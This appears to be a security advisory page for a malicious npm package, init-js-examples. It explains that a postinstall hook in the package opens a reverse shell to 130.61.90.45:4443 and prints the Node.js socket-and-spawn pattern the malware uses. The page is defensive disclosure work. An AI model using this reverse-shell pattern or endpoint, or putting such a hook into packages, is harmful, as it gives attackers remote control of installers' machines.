🛡️ MAL-2026-10996 — init-js-examples

⚪ Unknown ✅ No Known Exploit OSV
N/A
CVSS Score
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Description

Malicious code in init-js-examples (npm)

Source: amazon-inspector

The package's postinstall lifecycle hook runs setup.js, which opens a TCP socket to the hardcoded remote endpoint 130.61.90.45:4443 and wires the socket's input/output to a /bin/sh child process (net.Socket().connect(4443, "130.61.90.45") with cp.spawn("/bin/sh") and bidirectional pipes between the socket and the shell). Because package.json declares postinstall to invoke this script, running npm install init-js-examples automatically grants the remote endpoint interactive shell access on the installer's host, resulting in full remote code execution and a persistent backdoor.

Affected software

MAL-2026-10996 is recorded against 1 package.

  • init-js-examples

Timeline and source

Published on 22 July 2026 and last revised on 23 July 2026. No public exploit is currently recorded for this entry. Record sourced from OSV.

References

www.npmjs.com (Package)

Details

Severity Unknown
CVSS Score N/A
CVSS Vector N/A
CWE N/A
Public Exploit ✅ No
Source OSV
Published 2026-07-22
Updated 2026-08-12
Modified 2026-07-23
Fix URL N/A

Affected Packages

Software From version Fixed in
init-js-examples — —

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